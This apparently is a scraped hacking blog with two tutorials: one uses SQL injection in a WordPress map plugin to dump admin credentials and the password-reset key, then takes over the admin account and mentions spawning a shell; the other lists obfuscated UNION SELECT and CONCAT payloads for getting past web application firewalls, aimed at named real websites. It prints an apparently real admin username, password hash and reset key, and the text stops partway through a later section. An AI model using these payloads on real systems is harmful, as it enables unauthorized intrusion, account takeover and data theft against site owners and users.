A Little Piece of n00b

Hack Wordpress [Reset Password] (Manual)

I'll show you How to inject site - word press - And enter to admin panel in Seconds .<br />
<br />
lets say we have this vuln site :<br />
<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">content</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">plugins</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">maps</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">fullscreen</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">1 </span></code></div>
</div>
</div>
<br />
and let's say We extracted column number and admin data [ user and passwors ] by sqli .<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">content</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">plugins</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">maps</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">fullscreen</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">=-</span><span style="color: #66ccff;">1 Union Select 1</span><span style="color: #7ac07c;">,(</span><span style="color: #66ccff;">select</span><span style="color: #7ac07c;">(@) </span><span style="color: #66ccff;">from </span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">select </span><span style="color: #7ac07c;">(@:=</span><span style="color: #66ccff;">0x00</span><span style="color: #7ac07c;">),(</span><span style="color: #66ccff;">select </span><span style="color: #7ac07c;">(@) </span><span style="color: #66ccff;">from </span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">wp_users</span><span style="color: #7ac07c;">) </span><span style="color: #66ccff;">where </span><span style="color: #7ac07c;">(@) </span><span style="color: #66ccff;">in </span><span style="color: #7ac07c;">(@:=</span><span style="color: #66ccff;">concat</span><span style="color: #7ac07c;">(@,</span><span style="color: #66ccff;">0x0a</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">user_login</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">0x3a</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">user_pass</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">0x3a</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">user_email</span><span style="color: #7ac07c;">))))</span><span style="color: #66ccff;">a</span><span style="color: #7ac07c;">),</span><span style="color: #66ccff;">3</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">4</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">5</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">6</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">7</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">8</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">9</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">10</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">11</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">12</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">13</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">14</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">15</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">16</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">17</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">18</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">19</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">20</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">21</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">22</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">23</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">24</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">25</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">26</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">27</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">28</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">29 </span><span style="color: #7ac07c;">-- </span></code></div>
</div>
</div>
<br />
admin logo : michelsenweb<br />
admin password : $P$BPXdeAk4qo6ndqQWUJfuRkMOCqi.bJ0<br />
<br />
now this password is difficult to crack it<br />
<br />
ok now i will show you  Easy way to login into the admin panel<br />
<br />
first we going to admin panel and press  / Lost your password? \<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">login</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php </span></code></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/U3AEA-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/U3AEA-1.png" width="311" /></a></div>
<div dir="ltr">
<code><span style="color: #66ccff;"><br /></span></code></div>
<div dir="ltr">
<code><span style="color: #66ccff;">now we will put the admin user we found by injectin : michelsenweb .</span></code><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/mSLvQ.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/mSLvQ.png" width="320" /></a></div>
<code><span style="color: #66ccff;"><br /></span></code></div>
<div dir="ltr">
<code><span style="color: #66ccff;"><span id="goog_510352494"></span><span id="goog_510352495"></span>like this</span></code><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/UOrwJ.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/UOrwJ.png" width="292" /></a></div>
<code><span style="color: #66ccff;"> </span></code>now we haven't the admin mail to receive a link to create a new password<br />
or to get the activation key .<br />
<br />
OK see what i will do !!!<br />
<br />
now we will extracted  user_activation_key  by injection that we will use to grate new password<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">content</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">plugins</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">maps</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">leaflet</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">fullscreen</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">marker</span><span style="color: #7ac07c;">=-</span><span style="color: #66ccff;">1 UNION SELECT 1</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">2</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">3</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">4</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">5</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">group_concat</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">user_login</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">0x3a</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">user_activation_key</span><span style="color: #7ac07c;">),</span><span style="color: #66ccff;">7</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">8</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">9</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">10</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">11</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">12</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">13</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">14</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">15</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">16</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">17</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">18</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">19</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">20</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">21</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">22</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">23</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">24</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">25</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">26</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">27</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">28</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">29 FROM wp_users </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
now we have the user_activation_key to this admin user : michelsenweb<br />
<br />
michelsenweb:ADpMtuhLWYbPSubvKwgx<br />
<br />
now we will use this Query to grate new password<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">login</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">action</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">rp</span><span style="color: #7ac07c;">&</span><span style="color: #66ccff;">key</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">user_activation_key</span><span style="color: #7ac07c;">&</span><span style="color: #66ccff;">login</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">user_login </span></code></div>
</div>
</div>
<br />
replace : user_activation_key by ADpMtuhLWYbPSubvKwgx<br />
replace : user_login by michelsenweb .<br />
<br />
like this<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">site</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">wp</span><span style="color: #7ac07c;">-</span><span style="color: #66ccff;">login</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">action</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">rp</span><span style="color: #7ac07c;">&</span><span style="color: #66ccff;">key</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">ADpMtuhLWYbPSubvKwgx</span><span style="color: #7ac07c;">&</span><span style="color: #66ccff;">login</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">michelsenweb</span></code></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/WLpdv.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/WLpdv.png" width="320" /></a></div>
<div dir="ltr">
now we get this page to grate now password after we Makes </div>
now password  press Reset password</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/OjUVo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/OjUVo.png" /></a></div>
<div class="body">
ok let's try to log into admin panel by our new password</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/ANrW0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/ANrW0.png" width="316" /></a></div>
<div class="body">
aha we now in admin panel  and now we can spawned shell</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/CXzih.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/CXzih.png" width="320" /></a></div>
<div class="body">
<br /></div>
<div class="body">
Credit: <span class="Apple-style-span" style="color: white;">Egyption HaCker | GHI™</span></div>
</div>
</div>
</div>
</div>

Hack Wordpress [Reset Password] (Manual)

I'll show you How to inject site - word press - And enter to admin panel in Seconds . lets say we have this vuln site : PHP Code: www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen…

08 Sep 2012

WAF Bypassing For beginners and Easy

First sorry for my english and I make thread about WAF bypassing error For beginners<br />
<br />
☆¸.•*☆ How to know if Web Application Firewalls! on/off ☆*•.¸☆<br />
<br />
to know this we will use this statement after site link<br />
<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #7ac07c;">or </span><span style="color: #ff99ff;">'1'</span><span style="color: #7ac07c;">=</span><span style="color: #ff99ff;">'1' </span><span style="color: #7ac07c;">-- </span></code></div>
</div>
</div>
<br />
if Web Application Firewalls! <span style="color: red;">off</span> you only see error normal like<br />
<br />
demo <br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">marinaplast</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">page</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">id</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">13 </span><span style="color: #7ac07c;">or </span><span style="color: #ff99ff;">'1'</span><span style="color: #7ac07c;">=</span><span style="color: #ff99ff;">'1' </span><span style="color: #7ac07c;">-- </span></code></div>
</div>
</div>
<br />
but if Web Application Firewalls! <span style="color: orangered;">on</span> you will see error like forbiden and Not Acceptable<br />
<br />
demo<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//nbnewsxpress.com/news.php?id=28 or '1'='1' -- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=1718 or '1'='1' -- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
☆¸.•*☆ How to inject site with  Web Application Firewalls! on ☆*•.¸☆<br />
<br />
I have site after I use order+by to now column count I found it 27 column like this .<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
☆¸.•*☆ How to bypassing this error [ forbiden ] ☆*•.¸☆<br />
<br />
you must feltered union select <br />
<br />
I Collected to you some of strong waf bypassing <br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #7ac07c;">+</span><span style="color: #66ccff;">union</span><span style="color: #7ac07c;">+</span><span style="color: #66ccff;">distinct</span><span style="color: #7ac07c;">+</span><span style="color: #66ccff;">select</span><span style="color: #7ac07c;">+<br /><br />+</span><span style="color: #66ccff;">union</span><span style="color: #7ac07c;">+</span><span style="color: #66ccff;">distinctROW</span><span style="color: #7ac07c;">+</span><span style="color: #66ccff;">select</span><span style="color: #7ac07c;">+<br /><br />+%</span><span style="color: #66ccff;">2F</span><span style="color: #7ac07c;">**/+</span><span style="color: #66ccff;">Union</span><span style="color: #ffcccc;">/*!select*/<br /><br />/**//*!12345UNION SELECT*//**/<br /><br />/**//*!50000UNION SELECT*//**/<br /><br />/**/</span><span style="color: #66ccff;">uniUNIONon</span><span style="color: #ffcccc;">/**/</span><span style="color: #66ccff;">selSELECTect</span><span style="color: #ffcccc;">/**/</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!50000UnIoN*/ /*!50000SeLeCt aLl*/</span><span style="color: #7ac07c;">+<br /><br />+</span><span style="color: #ffcccc;">/*!u%6eion*/</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!se%6cect*/</span><span style="color: #7ac07c;">+<br /><br />%</span><span style="color: #66ccff;">55nion </span><span style="color: #7ac07c;">%</span><span style="color: #66ccff;">53elect<br /><br />union</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">select</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">1</span><span style="color: #7ac07c;">),</span><span style="color: #66ccff;">2</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">3</span><span style="color: #7ac07c;">)</span><span style="color: #66ccff;">union </span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">select 1111</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">2222</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">3333</span><span style="color: #7ac07c;">)</span><span style="color: #66ccff;">union  </span><span style="color: #7ac07c;">(</span><span style="color: #ffcccc;">/*!/**/ </span><span style="color: #66ccff;">SeleCT </span><span style="color: #7ac07c;">*/ </span><span style="color: #66ccff;">11</span><span style="color: #7ac07c;">) </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ demo ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718 +union+distinct+select+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
and we know when we used requested Query we will have forbiden<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718+union+distinct+select+ group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2

1,22,23,24,25,26,27 from information_schema.tables where table_schema=database()---- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
and to bypassing this I Collected to you strong waf bypassing requested Query<br />
<br />
☆¸.•*☆ tables ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">group_concat</span><span style="color: #7ac07c;">(</span><span style="color: #ffcccc;">/*!table_name*/</span><span style="color: #7ac07c;">) </span></code></div>
</div>
</div>
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #ffcccc;">/*!froM*/ /*!InfORmaTion_scHema*/</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">tAblES </span><span style="color: #ffcccc;">/*!WhERe*/ /*!TaBle_ScHEmA*/</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">schEMA</span><span style="color: #7ac07c;">()-- - </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ OR ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #ffcccc;">/*!From*/</span><span style="color: #7ac07c;">+%</span><span style="color: #66ccff;">69nformation_schema</span><span style="color: #7ac07c;">.</span><span style="color: #ffcccc;">/**/</span><span style="color: #66ccff;">tAblES</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!50000Where*/</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!%54able_ScHEmA*/</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">schEMA</span><span style="color: #7ac07c;">()-- - </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ columns ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">group_concat</span><span style="color: #7ac07c;">(</span><span style="color: #ffcccc;">/*!column_name*/</span><span style="color: #7ac07c;">) </span></code></div>
</div>
</div>
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!froM*/ </span><span style="color: #66ccff;">InfORmaTion_scHema</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">cOlumnS </span><span style="color: #ffcccc;">/*!WheRe*/ /*!tAblE_naMe*/</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">hex table </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ OR ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #ffcccc;">/*!From*/</span><span style="color: #7ac07c;">+%</span><span style="color: #66ccff;">69nformation_schema</span><span style="color: #7ac07c;">.</span><span style="color: #ffcccc;">/**/</span><span style="color: #66ccff;">columns</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!50000Where*/</span><span style="color: #7ac07c;">+</span><span style="color: #ffcccc;">/*!%54able_name*/</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">hex table </span></code></div>
</div>
</div>
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #ffcccc;">/*!froM*/ </span><span style="color: #66ccff;">table</span><span style="color: #7ac07c;">-- - </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ demo  ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718+union+distinct+select+ group_concat(/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
Oh forbiden but don't wory this mean the problem in concat <br />
<br />
ok let's delet group and bypassing concat like this /*!50000cOnCat*/ <br />
<br />
☆¸.•*☆ OR ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #ffcccc;">/**//*!12345cOnCat*/<br />/*!50000cOnCat*/</span><span style="color: #7ac07c;">(</span><span style="color: #ffcccc;">/*!*/</span><span style="color: #7ac07c;">)</span><span style="color: #66ccff;">CoNcAt</span><span style="color: #7ac07c;">()</span><span style="color: #66ccff;">concat</span><span style="color: #7ac07c;">%</span><span style="color: #66ccff;">00</span><span style="color: #7ac07c;">() </span><span style="color: #66ccff;">CON</span><span style="color: #7ac07c;">%</span><span style="color: #66ccff;">08CAT</span><span style="color: #7ac07c;">()<br />%</span><span style="color: #66ccff;">00CoNcAt</span><span style="color: #7ac07c;">() </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ demo ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718+union+distinct+select+/*!50000cOnCat*/(/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
Or we can use concat_ws(0x3a3a3a,) like this<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//www.avmaniacs.com/review.php?id=-1718+union+distinct+select+concat_ws(0x3a3a3a,/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
☆¸.•*☆ OR ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">concat</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">0x3a</span><span style="color: #7ac07c;">,,</span><span style="color: #66ccff;">0x3c62723e</span><span style="color: #7ac07c;">)</span><span style="color: #ffcccc;">/*!concat_ws(0x3a,)*/</span><span style="color: #66ccff;">CONCAT_WS</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">CHAR</span><span style="color: #7ac07c;">(</span><span style="color: #66ccff;">32</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">58</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">32</span><span style="color: #7ac07c;">),) </span></code></div>
</div>
</div>
<br />
<span style="color: orange;">☆¸.•*☆ method 2 BoF+Attacks ☆*•.¸☆</span><br />
<br />
we can use BoF+Attacks Query to bypassing error forbiden and 500 Internal server error too<br />
<br />
let's see<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
